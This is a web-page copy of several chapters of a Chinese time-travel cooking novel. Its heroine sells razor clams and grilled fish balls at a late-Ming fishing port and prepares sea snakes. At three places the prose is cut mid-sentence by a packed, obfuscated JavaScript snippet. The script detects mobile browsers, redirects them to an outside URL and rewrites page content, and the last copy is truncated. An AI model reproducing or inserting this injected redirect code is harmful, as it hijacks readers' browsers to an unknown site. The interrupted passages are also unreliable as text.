她吃得发呆，无意识嚼了又嚼，到后头嚼完了才舔舔唇，实在说不出好听话，硬是憋出句，“跟吃猪油那样好。” 王三娘瞪她，“这玩意还能吃出肉油味来，少哄人。” 不相信地自己拿了个，剥了肉径直塞进嘴里去，想直接咽下去，不料舌头碰到了那肉，就舍不得咽了。 她的舌头早就被重盐腌入味了，只吃得惯盐气重的鱼鲞、蟹酱、鮳头，什么清蒸白灼半点滋味都尝不出来。 可碰上了这蛏子，难得的品出了点鲜味，又没一点沙，吃了一个就还想吃第二个，王三娘真是臊得慌。 江盈知倒是神色如常，她吃过的好东西太多，也不由感慨一番，野生的要比养殖的吃起来更弹更有嚼头。 她品着那点子余味，说想攒回家的路费，向王三娘讨教，“伯娘，做这个到渔港那卖成不成？” 王三娘仍在琢磨那蛏子到底咋做成这样的，听她这样一问，反问道：“你晓得渔港有多远，要坐船的，搭个便船一趟两个铜板。” “你卖这个，一筒能卖出三个钱？” 小海鲜是最不值钱的，辛辛苦苦赶潮，挖上一筐来，也就是五六个钱的价，还得被里镇的人压价。 虽说这蛏子叫这一番整治，属实好，可渔港那头都是什么人，打水底工的，在海上驳船的，来往盐户，小贩，吃得饱，盐重到能吃得下饭才是正经的。 这玩意好吃归好吃，可又没几两肉，十几二十只吃下去也饱不了。 王三娘想着，又忙看锅里的东西，撤出点火，鱼都煮烂了，汤色浓白。 江盈知也不气馁，她还没去这时候的渔港瞧过呢，她切了点野蒜，撒进杂鱼汤去去味。 中午难得的没再吃番薯丝，矮桌上摆了一锅杂鱼汤，一盘蛏子，一碟野蒜，王三娘吃了两碗鱼汤，手边叠了一堆蛏子壳。 她瞧了眼，干咳声，黝黑的脸泛起抹可疑的红，吃人的嘴软，她便说：“晚些我要去趟渔港，你先坐船去瞧瞧。” 海娃嗦着蛏子壳，要小梅把竹筒里的汁水倒给他，闻言也说：“去,我也去。” 王三娘拿指头点他脑门，“小人家少凑热闹。” 吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483423|142000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了饭，王三娘拿上自家的桶往前走，江盈知跟在后面走过乱礁滩，沿着滩涂边走了一段路，便是乱石堆起来的高墙。 在高墙上才是用红砂岩叠起来的渔屋，全是些低矮的石墙茅屋，近山背风。待上了台阶，屋舍前空地上有不少鱼棚，地里埋着大木桶，烂腌味从里头传出。 乱糟糟摆了一堆的鱼箩、盐桶、渔网和桨，不少女人用布包着头，系着半蓝不蓝的腰巾，在那里剖鱼。 见王三娘后头跟了个生人，有女人端盆站起来问，“三娘，你家亲戚？” “我娘家那边的人，来住段日子，”王三娘大嗓门道，“可不是啥生人，这不快赶上捕黄鱼的日子，叫她也来帮点忙。” 西塘关离渔港不算近，外帮商人来的少，要是凭然出现个生脸孔，那是要上报里长的。 一帮女人听她这样说，就歇了心思，也招呼江盈知，“坐这说说话。” “不说了，叫你们认认脸，”王三娘指指下头，“等会到渔港去了。” 小梅在一旁跟江盈知说：“前些年海盗多，混到岛上的不少，要不是熟脸，都得说一声。” 江盈知缓缓点头，抠着手心，坐上了陈家大伯的小船，王三娘打量她一眼，没多说什么。 海面风平浪静，路过收税的花斑岛前，王三娘还狠狠呸了声，瞧见驶来的渔船她又撇过脸。 临近了渔港，大小船只多了起来，由于没有浮式码头，大船停在海上，有人摇着驳船去卸货，一箱箱货物卸完，脚夫肩挑手抬运到岸上来。 江盈知盯着看了很久，当她再把目光转回去时，那些她曾熟悉的平房高楼、商业铺面、车水马龙，海上游轮，渐渐都改换了模样。 变成了一片片猪血红的墙，墙上穿插着几块防火砖的屋子，各色鱼鲞铺子，海上停泊着一艘艘木船，有人喊着：“驳船的来这。” 有赤着上身的渔民划着桨，冲另一艘船上嚷嚷：“量船去，你那大对船超了尺寸，再不去河泊所，仔细你的皮！” “这税那税，哪个税少收了，”汉子嘀嘀咕咕，不敢高声，怕冒出个穿公服的水师来逮他。 海上有好几只巡哨舢板来回，江盈知看着船头的明朝字标，垂了眼眸。 好半天她才搞明白，她到了后期海禁松弛废除的明末，此时海运盛行。 王三娘见她怔愣，问她，“想好了没？这路子可不好走。” 虽说海岛上并没有不许女人家抛头露面，可也多是做做织网剖鱼的活计，可要说从西塘关坐船来渔港摆摊卖吃食，王三娘不看好。 江盈知却说：“先做了再瞧瞧，这条路子走不通就换条路子走嘛。” 不走哪来的路，她不是个瞻前顾后的性子。 小梅虽然内心怯懦，却仍说：“我也跟小满姐一起来。” 她怕大伯娘不答应，便小声说：“晚娘（继母）已经两月没托航船捎东西回来了，手上银钱还了四叔的债就没了。” 王三娘看了看海娃，叹口气，怨不着人家。 “你们两个小娘，我倒看看能做出什么名堂来，”王三娘又哼一声，她喊小梅大伯，“陈大发，听着没，早些起来送送。” 夜里江盈知还在锯着竹筒，锅里的竹筒反复被滚水煮透，她甩甩手，放下锯子问小梅，“真跟我一起去？” 小梅点点头，她在给蛏子剥壳，其实她并不是想跟着赚钱，只是怕江盈知对这不熟，她人虽小，仍想看顾着些。 江盈知又说：“赚了钱你要买什么？” “买点粮食，”小梅想吃米饭。 而江盈知想买些墨鱼骨和猪鬃，在这个没有牙膏牙刷的时候，墨鱼骨能去污，用来擦牙能让牙变白，刷铁锅能刷的锃光瓦亮，猪鬃是以前做高级牙刷的原料。 不刷牙她受不了，想到这些，她不免更来了干劲。 天不亮已经蒸煮好几十个竹筒的倒笃蛏，一个个放进木桶里，底下垫布，塞的严严实实，不漏热气，再包一层破布。 她和小梅坐在没有盖顶的渔船上，冷风呼呼吹，心却很热烫。 4. 鱼杂粥 临近渔港，雾蒙蒙的天里，海上有星星点点的火光。 陈大发不敢往前，他收了桨靠边，身旁陆续有船只停下。 眼神好的说：“河泊所那些人又拦船了。” “哪里的船，瞅着像是海州那的红对头，”老渔民站起来，往前瞧。 左边的渔民把宽大的笼裤用绳子绑紧，低声说：“可不止，还有闽省那的大白底、打洋船。” 他啐了口，“南洋旺风完了，倒是把他们都吹来了，指定先网了几船小报春来换个头价。” 江盈知听得迷迷瞪瞪，好些词都听不懂，小梅弯了弯腿，凑近跟她解释。 小黄鱼在渔民嘴里叫报春鱼，也有说春花鱼的，每年春分鱼汛，一到那时千船齐发南下，这是“春分起叫攻南头”。从海浦渔港往南追着小黄鱼走，渔船都在南边渔场，是故又叫南洋旺风。 这会子已过清明，鱼群北上，渔船跟着往北走，到立夏这段日子，则为北洋旺风。 江盈知听的愣神，要知道在以后的过度捕捞和赶尽杀绝中，到了二十世纪六十年代，海浦甚至整个望海的海域范围，已经无法形成小黄鱼汛，同时由于敲罟（gǔ）作业的摧毁，大黄鱼汛也没了。 野生大黄鱼就变得尤为珍贵，大多为养殖。 而在这里，鱼汛却依照时序四季不断。 江盈知摸摸自己砰砰乱跳的心，黄鱼汛对她的诱惑力特别大，要是能烹饪一条纯野生的大黄鱼，她梦里都得笑醒。 没等她再想，在停泊船只的不远处，划过一艘挂着鳌鱼旗的海船，穿青布衣裳的小吏把海螺抵在嘴边，吹了好几声。 陈大发皱眉，扭头说：“走不了了。” 这海上行船也得听螺号，三长两短为紧急，一短二长是开船，小吏随意吹的，则表明停船，要等开船号子响才能走。 边上的渔民咒骂句，“人都昏昏动了。” “早点心没捞点吃吃？” 他抹把脸，“吃啥吃，搞那渔网，哪顾得上吃，想着到渔港摊子上对付口得了。” 适逢海风吹过，咸腥味间传来阵香味，他耸耸鼻子，暗骂哪条船还开锅煮起东西来了。 扭头看见那破旧的小对船上，陈大发嗦起蛏子来，雪白的肉，汁水往下淌，他咽了咽口水。 “大哥，吃蛏子呐？”黑脸渔民坐在船中，上半身往外倾斜，过来套近乎。 陈大发也才刚吃上这倒笃蛏，本来不想占便宜的，那滋味实在好，就忍不住嗦了好几个，开壳吃实在方便。 他是个老实人，也瞧不出人家的心思，顺着意思说：“正吃着呢。” 黑脸渔民郁闷，咋连句客套话也不说，叫他也尝尝啊。 饿肚子的时候，真是啥也馋，连个海滩头没人要的蛏子也想往嘴里塞。 他张嘴想问问这有沙没沙，就听小对船后头伸过来一只手，手上拿着个竹筒。 他结结巴巴地说：“给我的？” 江盈知摇摇头，“卖你的，三个铜板。” 黑脸渔民叫道：“几个蛏子，那样贵！” “你先吃，要觉着不好吃，我不要钱，”江盈知感受到四面八方看过来的眼神，也不打怵，大大方方地说。 陈大发这才恍然大悟，急急地说：“骗你做啥？你吃吃就晓得，要是淡水毛气的，白送你。” 黑脸渔民此时饿的肠子都扭打在一起，仍在想这一筒要三个铜板，到时吃了人家的，还不得掏钱。 他瞥到船舱里的一桶鱼，有些不好意思开口，“我拿这桶跟你换行不？” 陈大发凑过去瞧，顿时变了脸色，“拿剥皮鱼来换，你怕不是用来作肥的，还拿来糊弄人。” 剥皮鱼在海岛上人瞧来，味道不咋样，有的说有毒，吃了头昏。所以春天剥皮鱼多的时候，渔民网到了就挑出来晒在坑里沤肥，晒到烂臭苍蝇蚊子满处飞的时候，再埋到菜地果树下。 江盈知往那桶里一瞧，扁平身体大眼睛，丑丑的模样，不就正是剥皮鱼，也叫马面鱼，可能川省那叫的耗儿鱼更出名些。 这鱼看着丑，还要扒皮去肚，可在江盈知看来，剥皮鱼炒鱼松最好，做烤鱼片也成，下火锅一绝，香煎滋味也不差。 至于去皮，她刀法很好，眨眼的功夫一条鱼皮就能被剥下来。 所以在陈大发同人理论时，她先跟陈大发说：“大伯，我会做这个鱼，跟他换一些来，就算真不好吃，那还可以拿回去沤肥。” 陈大发本来就不擅长甩嘴皮子功夫，闻言便也应了，左右不是他的东西。 那黑脸渔夫把桶给陈大发，只顾着接过竹筒，掀开盖子，扑鼻的鲜味。 他抓出几个来，连忙怼到嘴边，咬了肉赶紧嚼,而后便楞在那，边上目睹了全程的老渔民用木浆敲他的渔船，“傻了？叫沙子噎着了？” “真傻了，”黑脸渔民说，舌头没尝过这么鲜的滋味，呆在那，差点被牙齿咬到。 他嗦了好几个，忍痛摸出准备到摊子上吃豆面碎的铜钱，“再给我来一筒。” “竹筒记得还啊，”江盈知递过去说，锯点竹子可不容易，锯了一晚上，手里还出了水泡。 老渔民也看馋了，他隔着一条船招招手，“我这也有剥皮鱼，换一筒来。” 小梅利索地取出一竹罐递过去，如此换了两桶剥皮鱼和三个铜钱，便没人再换，都不觉得蛏子能有多好吃。 江盈知刚开张，摸着三个铜钱笑眯眯，她跟小梅说：“分你一半。” 小梅也笑，“一文钱分不了。” 两个人嘀嘀咕咕，巡洋的水师划着舢板过来，一路吹着一短两长的螺号，海面船只渐渐往前划动。 渔港处外帮的红头对在往下卸货，一网网的小黄鱼倒进底下的冰鲜船里，那船舱里全是冰。 小梅见怪不怪，“过鲜呢。” 江盈知对这个词熟，不管过了几百年，这词仍在用。鲜就指海鲜，过鲜是海鲜出售。 没冰没加工的鲜鱼叫白鲜，冰了的则为冰鲜，而冰鲜船则要紧着把这批还算新鲜的小黄鱼，趁夜送到明州府去，端到富户筵席上，吃第一口鲜。 而江盈知和小梅只能苦哈哈蹲在摊子边角，等着有人过来买蛏子，连叫卖都不行。陈大发说：“没法子，你一喊出声，收商税的耳朵可灵，一准要你俩交钱。” 卖都卖不了几个铜钱，一收要收五个钱，所以就如陈大发这样的老实人，在这事上也机灵了几分。 不喊只把东西放着，收商税的小吏过来，挪一挪当自家采买的。 不叫卖人家压根不晓得卖的啥，江盈知只能自己左右环顾，清晨渔港的人并不多，都是些卸货的力工。 她要是有更多调料和粮食，能整个炉子和平底铁盘，就直接摊海鲜饼卖了，保管不出声都能靠香气把人引诱过来。 现在只能抱着竹筒上前，先给人家吃个尝尝，再买不买，有的爽快，买了一罐，竹筒另外加了一个钱。 有女人尝了觉得滋味好，但是却说：“肉少，一罐不够吃，还不如买块番薯糕。” 也有个老大娘吃了，还要再来两个，问她买不买，她把油滋滋的手往自己腰巾上擦，翻了个白眼，拉着孙子走了。 江盈知啥人没碰到过，也不恼，只是坐回到墙角处，拆了盖子给小梅，“自己吃点，还温着。” 冷了味道可就不好了。 小梅惊讶，“真吃？” “吃啊，忙活那么久，钱没赚到自己还没吃上，可不就太亏了，”江盈知可看得开，没人要那下次来就卖蛏干，蛏干不怕冷也不怕放得久。 还拿了两个送给边上卖鱼杂汤的女人，江盈知闻了她鱼杂的味道，腥气重，鱼籽都破了，黄糊糊一锅汤。 “姐，你卖鱼杂汤多长时候了？”江盈知跟她套近乎。 女人讪讪笑笑，把竹筒递给旁边两个蹲着的小孩，才开口道：“刚摆不久，我男人出海难没了，日子不好过才出来支个摊。” 一旦家里没有出海捕鱼的渔民，女人又不能上渔船，在海浦等着她们的要不是进庙里当尼姑，虽说还能有口饭吃，背地干的却是下作勾当。 要不改嫁，或是鱼汛旺发时做点小工，或是像是这个叫海红的女人一样，来摆摊卖些吃食。 江盈知给她出主意，说话很实诚，“鱼籽别放了，你煮不好的，何况过了清明，好些鱼籽已经不能吃了。” “大姐，你就拿鱼骨煎一煎，要不小杂鱼剁碎熬成汤底，再把骨头捞出去，加点盐和姜片味道就够可以了。” “鱼皮、鱼白、鱼肚收拾干净，过盐腌会儿，没那么腥。熬久些，嫌东西少，那往里加些老豆腐，越炖越香。” 她也不是白支招，叫小梅把蛏油拿过来，用片好的薄竹片蘸了些递过去，“尝尝，要是放了这，汤会更鲜。” 海红还没从江盈知的话里回过味来，被塞了个东西，她看了眼，嗅了嗅，半点腥气也没有。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483424|142000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她放到嘴边尝了尝，眼神骤然亮起来。 “要多少？”海红指指那罐子。 江盈知说：“二十文一筒，我们熬这不容易。” “要是有墨鱼骨，三根换一筒。” 海红刚被二十文一筒给惊到，又听她说墨鱼骨，上年墨鱼汛旺时，家里还剩下些。 “只换两筒，剩下的还是要银钱，你可以拿这点回去煮一锅，味道要是好的话，明儿你还同我换，”江盈知说着，把一个竹筒底递给她。 她好心提醒，“鱼杂汤吃的人不多，你等吃夜饭边上，能做馒头的再蒸一笼，煮上一锅，吃的人多些。” 江盈知要是手里东西足，她保准把鱼杂炖的从前头路过的都香得走不动道，以前她在店里用瓦罐煮过一次鱼杂汤，香到外头的客人探头进来问。 她想吃鳓鱼的鱼白了，入口细软，比嫩豆腐更为顺滑。 海红听她说话架势就晓得是个行家，嗫嚅了几句，想说什么终究没说出口，只是扯了扯边上吃蛏子的孩子，让他俩给江盈知叫姨。 她小声说：“我回去试试，明儿你晌午后来不来？” “来，海红姐你就在这等我。” 等人急急忙忙抱着东西走了，小梅说：“小满姐，不是说了拿蛏油上酒楼问问去？” 江盈知先是同小梅赔不是，之前说好的又临时反悔，而后才接着她的话道：“卖给谁不是卖，卖给她说不定还能帮人家一把。” “到时候蛏油给你熬，卖了的钱也归你，”江盈知没开玩笑，她从一开始就这样想的。 顺道帮海红外，其实是在帮小梅找路子，要是那边卖得好，蛏油也能赚些。 江盈知哪都想顺手帮帮，反正她又亏不着。 小梅却红了脸，“一半一半，是你的手艺，我不好收那样多。” 江盈知岔开这个话，拿竹筒又上前问去，蹲了一上午，两个铜板折价卖完了，竹筒都搭给人家。 她收了一堆铜板，瞧着哐哐当当很沉重的样子，和小梅蹲在墙角避开人数了数，才三十六个铜板。 起初江盈知还觉得挺好，直到小梅说：“糙米要二十文一斤，番薯丝五文一斤。” 赚的这点钱，连两斤糙米都买不了，最后还是买了一斤糙米，两斤番薯丝，还剩的六文换了一小包的红糖，巴掌大也没有。 虽说东西不好，糙米是真的糙，番薯丝是白芯番薯晒的，一点也不甜，不过两个人都很容易满足。 陈大发赶了渔船回来也说：“卖完了就好。” 他四处瞧瞧，“没被小吏抓到吧？” 小梅说：“没瞧到，我盯着呢。” 回到西塘关后，王三娘在海滩上清洗渔网，见几人回来，也没上来迎，把粘的海螺扔掉，说了句，“别是没卖出去。” “大伯娘，卖完了，”江盈知一手拎一桶剥皮鱼，从船上稳稳跳下来，放到一边。也过去帮忙扯渔网上的东西，这活一个人做起来费劲。 王三娘瞧她这么有眼力劲，也不免缓和了神色，只是她生的凶，缓和了也没人瞧得出来。 没要她再扯渔网，王三娘站起身说：“蛏子还要不要？” 也不等人说，她喊，“陈大发，你把强子早上拾来的蛏子给她俩拿去。” 陈大发拴好船，哦哦几声，倒是小梅过去说：“强子哥腿脚不好，哪能叫他上滩涂拾蛏子去。” “你个丫头，腿脚不好难不成就一辈子不做活了，”王三娘用力洗刷渔网，轰她俩走，“走，赶紧走，海娃等会儿叫你大伯送回去。” 路上江盈知问，“怎么腿脚不好？” “抓海蛇的时候从礁石上跌了下来，”小梅叹了口气，“谁叫我大伯一家是抓海蛇的，里镇药铺收蛇胆，那年海蛇多，叫我强子哥一块抓去。” 小梅又说：“小满姐，你怕海蛇的话，我大伯家里就别去了。” 她是怕的要命，宁肯和海娃两个人住，也不想去大伯家里，那家里梁上挂着一条条风干蛇和剥下来的蛇皮，渗人得很。 江盈知并不怕海蛇，思忖着什么，没开口说话。 到了晌午，满满两三篓蛏子被陈大发送过来，海娃拍拍自己的胸前，“我挖的！” 小梅不走心夸他：“你本事大。” 随后忙去了，午饭吃得简单，江盈知用野蒜爆炒了一锅蛏子，小梅熬番薯丝粥，掺了点糙米，味道一般，勉强能吃。 下午江盈知开始处理剥皮鱼。 5. 清汤鱼圆 剥皮鱼也被戏称为橡皮鱼，它身上那层偏银的鱼皮像是很厚的塑型橡胶膜，牢牢贴在身上。 江盈知处理剥皮鱼起来很有一套，她十六岁开始为了凑外婆的手术费，每年寒暑假都在海鲜餐厅后厨帮工。 利落的去头，用刀割沿着脊背割到鱼尾，两根指头捏鱼皮，使巧劲撕下一整张完整的皮，江盈知再扯出肚肠扔到一边桶里。 剥下皮后，鱼肉显得尤为雪白。 她手脚快，一旁小梅也以为很容易，上手试了试，结果胀红了脸，牙关紧咬，然后把皮扯断了，楞楞地看着那张皮。 “剥你的蛏子去吧，小手细细，哪有啥劲，”江盈知用手肘撞撞她，这玩意没点力气是做不来的。 小梅不逞强，又问，“小满姐，你喝不喝糖水？” “不喝，”江盈知抹着刀背上残留的鱼肉，微微侧过身说，“你想喝，那就喝点。” 小梅叫海娃一道出来剥，自己坐下了说：“我不喝，怕你使得力气多了，要虚的，红糖水补人。” 她是真心焦，小满姐吃的饭不算多，可这两日到处干力气活，挑水拉网抱重物。 江盈知正在片鱼，剥皮鱼中间只有一条鱼骨，要将鱼肉不带刺片下，刀要靠近中间，手不能抖。 她片完一块鱼肉，放在碗里，心里莫名生出了丝异样，又笑了笑，“放心，我对自己身体有数。” “小梅，晚上吃鱼丸吧，鱼丸你吃过没？”江盈知把鱼骨放进锅里，等会儿吊点汤头，用来煮鱼丸再好不过。 海娃剥累了蛏子，他站起来扭扭屁股，突然来了句：“不吃海娃！” 他把鱼丸听错了，娃跟丸在方言上近似。 小梅差点没笑得往后仰，脚踢到了木盆，嘶嘶叫痛的时候，面上还止不住笑。 缓了一阵才说：“没吃过。” 江盈知也收了笑，又剥起鱼来，对海娃说：“煮好了你别馋。” “我馋，”海娃这会儿口齿伶俐，一本正经地说，“不给吃，就流馋唾水（口水）。” 可把江盈知给逗乐了，手差点拿不稳刀，最后呼了口气。继续把剥皮鱼的鱼头拿起来，将鱼头边上肥大的鱼肝取出。 这放现代都是用来做鱼肝油的，而岛国人则是做成刺身，或是捣碎同酱油一道搅拌，用来蘸生鱼片。 江盈知吃过，可以说极致的鲜。 以前还敢生吃，到这儿却不行了，老老实实把鱼肝剥出，到时候清蒸，滋味差点就差点。 弄完鱼肝，要弄馅，做鱼丸要先做鱼糜。 不是所有鱼都能做鱼丸，要白色鱼肉的，诸如花鲢、草鱼、乌贼、梅童鱼等等，还有眼前的剥皮鱼，那就是正经的“白肉”了。 鱼实在多，有两桶，江盈知放弃了用刀背刮鱼糜的方法，改为剁，本来最好的是用棒槌来敲，那样做出来更弹。 弹到从地上蹦起来。 当然江盈知图个快，剁到鱼泥细细白白，她加了一点盐末，半勺姜汁，两三勺的水，用竹筷搅打上劲。 鱼要是不鲜活，做鱼丸就得加蛋白。 她右手用虎口捏出个鱼丸，左手几指并拢刮，投到冷水里，等定好了型，煮到八成熟撇去浮沫，才把锅里炖的鱼骨捞出，下鱼丸。 得亏江盈知臂力好，不然得把她累得胳膊也抬不起来。 小梅剥完了蛏子，凑过来看，圆乎乎雪白的一个个，灶边上还有鱼肠鱼肚散发出来的腥气，她却仍咽了咽口水。 “馋了？”江盈知用锅铲顺着搅鱼丸，语气夹杂着笑意问。 海娃从小梅身后探出头，喊她满满姐，包着口水道：“想吃。” “吃吧吃吧，”江盈知舀出三碗来，此时屋外有了如鱼鳞般金色的霞光，而三人没一个能抬头瞧上一眼。 只顾着吃碗里的鱼丸汤，鱼骨吊的汤头，还放了一把绿葱。小梅忙咬开紧实细密的鱼肉，里头有小小的孔，夹着汁水，她细细嚼完了，又喝了口汤。 忽然有点想哭，她的舌头没尝过这样好吃的东西。 海娃更是刚吃完一个，就说：“满上。” 挨了小梅一下，也不恼，咧着嘴笑。 热汤，烫鱼丸，春天有黄昏的傍晚，海风吹拂，那些食材凑成的鲜味，经由从唇齿到胃里，让人心里陡然升起了热腾腾的感觉。 一切都那样好。 吃完了鱼丸，宽慰了连日来受委屈的五脏庙，江盈知又舀了一大盆，放在篮子里。 她跟小梅说：“一道去给大伯娘一家。” 海娃吃的趴在桌上，小梅还没有从鱼丸给的鲜香中回过神来，愣了会儿，才忙点点头。 这会儿滩涂上潮水不紧不慢撞击着礁石，远处有赤着脚张网的渔民，有孩童挖起了贝壳，在玩掷贝壳的游戏，女人则洗着渔网。 到了吃饭的点，各家几乎少不了煨点番薯、芋艿，蘸点蟹酱对付一口，王三娘当然也例外。 她还会蒸点鱼鲞，咸是咸了些，就着干巴巴的白芯番薯好下饭。 王三娘在石墙堆成的小屋里忙活，外头有女人啧啧几声，喊道：“三娘，你娘家侄女来了。” 她哪来的什么娘家侄女，王三娘这样想着，又顿住。 江盈知便已经提着东西进来，一进门就被不远处挂着的蛇影吓了一跳，十几条倒挂在横梁上，黑漆漆的眼。 尤其又不点灯，只有扇窗户，还叫油纸糊死了，发着黄惨惨的光。 王三娘硬声道：“别进来。” “都是海蛇”，江盈知并不怕，凑近去瞧，见白腹黑皮，是长吻海蛇。 海蛇无一例外全是毒蛇，多雨涨水期，海岸边免不了全是蛇的一家，包括祖宗十八代。 不过在现代，由于长吻海蛇的蛇毒珍贵，蛇胆也有药用价值，有专门的捕蛇人，到了后期不得不进行人工饲养。 而现在却仍是海岸线最大的威胁。 江盈知把篮子轻轻放在桌子上，王三娘跟在她身后问，“你胆子这般大，怎么一点都不怕？” “不怕啊，怕它那还怎么吃鳝鱼，”江盈知说的理直气壮。其实以前年纪小当然怕，不过在后厨帮忙，大师傅说不会收拾鳝鱼就不要她。 童工本来是违法的，可江盈知那时急需要很多钱，逼着自己去抓去练去剖，连续做了半个月的噩梦，也硬是撑住了，后来连海蛇她都敢剖。 王三娘深深打量了她一眼，江盈知指着挂起来的风干海蛇说：“这样挂起来不成，腌了也不好吃。” 长吻海蛇真的很补，尤其鲜的炖食，可以治小儿营养不良。 江盈知觉得这样糟践了好东西，她往后偏头询问一声，“伯娘，能取一条下来吗？” 王三娘不晓得她卖的什么名堂，仍给取了条来。 江盈知伸手接过，点点蛇皮，“抓到蛇先剁头，毒都在头里。” “再把蛇皮剥下来晒干。” 陈大发这时从外面进来，很是纳闷，“蛇皮晒干了做啥？” “你闭嘴，听人家说，”王三娘骂他。 江盈知笑了笑，“我也是南边海岛上来的，谁没见过海蛇。大伯和伯娘你们不知道，晒干的海蛇皮也可以炖汤，膝盖疼就喝它。” “你们不吃，就晒成干捆起来，卖给闽省那来的船户，尤其是闽南那一块，他们会吃海蛇皮炖汤的。” 海蛇皮加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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起身送江盈知出去时说：“明儿再给你送些蛏子来。” 王三娘实在摆不出长辈的慈爱，只好说：“要是用到船，只管说一声。” “明儿下晌去渔港，还要麻烦大伯，”江盈知笑着转了口，“是姑父。” “海蛇炖不好就来找我阿。” 她提了空篮子空碗走出去。 王三娘送她好一阵路，回来后才说：“记着人的情晓得不？” “晓得了，”陈大发点头，又说，“我这会儿就去抓几条海蛇来，一条炖了给强子吃，再泡点酒行不？” “吃鱼圆先，明儿再去，”王三娘认得这东西，海浦管叫鱼圆，难做得很，怪道人家费心。 她喊了瘸腿的强子来，又叫了小儿子，叮嘱顺子，“你明早别给我赖着，给你小满姐拾蛏子去。” 顺子塞了一整个鱼圆，好吃得猛点头，陈大发又拉着强子嘀咕。 第二日待江盈知洗完衣裳，换上小梅她娘的栲衫后。收到了没有泥沙的蛏子，王三娘给挑来的，小梅有些瞠目结舌，怕是把满滩涂活着能喘气的蛏子，全都活捉了来。 能熬三大罐蛏油，再晒十来个竹匾的蛏干。 王三娘还说：“不够再往另一片滩涂那挖去。” 江盈知连忙拒绝，别把这仅剩的土陶给熬烂了。 上午便在海娃和小梅剥蛏子，江盈知做鱼丸中度过了，中午仍吃了一顿鱼丸。 下晌她开始用磨好的竹签穿进雪白的鱼丸里，王三娘借给她个炉子，烧土灶的炭仍留着，江盈知决定到渔港卖烤鱼丸。 6. 一串烤鱼丸 这一次到渔港，要先去交税。 河泊所的小吏坐在间小屋里，鱼汛期都在这收税。 他探出头来问，“带的什么？” 江盈知把一桶鱼丸拿给他瞧，小吏好脾气地说：“这不用缴，日用食物，杂鱼杂果蔬菜，竹草蒲草器物，农用器具免征课税。尽管去吧。” “只别占着人家铺子前的地了，这样我们也没法子帮你。” “怪道我说他见了咋不抓，”陈大发摸摸后脑勺，他一直还觉着是自己机灵劲上来了。 小梅也喜滋滋收回五文钱。 既不用交税，江盈知想，那就不用再苦兮兮蹲在墙角。 渔港的大道很宽很长，青石砖铺地，尽头是高大的城门。大道一边是商铺，酒旗招幌高悬，而另一边则为大大小小的鱼行鱼栈。 两边近海滩处则扎起很多棚子，渔民的棚子大多都是用竹子撑起，罩几张破布，卖的鱼鲞鮳头，蒸番薯糕之类。比昨天赶早卖的人多些，江盈知没瞧到上回卖鱼杂粥的女人。 陈大发帮忙把炉子移过来，而后蹲在一旁的海滩上，跟扯网的渔民打听闽省船户的事。 而小梅生起炉子，江盈知则在炉子前搭了一块略高出些的木板，她选的是背风处，沙子不会随海风飘过来。 一把三个的鱼丸在水桶里浮着，她拿出十几串放她做好的竹架上，凳子撑着，刚好能沥干水分，再盖一层洗过的布，能防风沙。 旁边撑开袋口卖虾米的大娘看得一脸古怪，挪了挪矮凳，上半身倾斜，“你们俩这卖的啥？” “烤鱼丸，大姨你要不来一串？”江盈知问她，手上拿着三四串鱼丸，放在火上小烤。这些鱼丸全都已经煮到八成熟，只要烤到表皮金黄，满满出油就成。 没有甜面酱、辣酱这种蘸酱，江盈知就刮了点蛏油，油滴进炉子里，滋滋地响。 大娘看着白蓬蓬又圆乎乎的东西，屁股脱离了凳子，小走几步上来，蹲着问，“鱼肉做的啦？” “啥鱼呀？” 江盈知刚想说剥皮鱼，小梅在背后扯了扯她的衣裳，她想起来，笑道：“是海里的杂鱼，肉少，剁了搅出来的。” “夹刺了没？”大娘又问，“瞧着可真好，油津津的。” 大娘脸皮蛮厚，见两个小姑娘，她擦了擦手，“给我尝一串呗，好吃我给你们吆喝。” 小梅当即变了脸色，咬着唇不想答应，江盈知却轻轻拍了拍她的手，很平静地说：“成啊，我们刚来这支个炉子卖些东西，哪哪都不熟，还要靠大姨你多帮帮。” 做生意嘛，什么人都能碰见，为的都是些蝇头小利。江盈知不在乎这一串鱼丸，而且她瞧着这大娘面相不贪。 要是真的贪心，那她也不会再给。 大娘有点楞，真这般爽快。 她还真爱占点便宜，江盈知给她一串烤的黄亮亮的鱼丸，也没说啥客套话，连忙接过。 大娘嗅了嗅，暗自嘀咕，放了啥咋就这么香呢。 那表皮酥酥油油的，大婶张口咬下半个，她哈着气，叫道：“烫，好烫！” 却又舍不得吐，含着鱼丸忍着烫生嚼了几口，有油汁慢慢渗出，肉很弹牙，有股浓浓的鱼香，而且厚实有咬劲。 要她就说不出哪好吃，因为哪哪尝起来都好吃。 连被烫到舌头发麻，也硬要再把另外两个塞进嘴里。 她吃完嘴都红了，说话也大着舌头，“放心，姨不白吃你的东西。” 江盈知不知道她要做什么，小梅却低声说：“指定是客套话，就不该——” 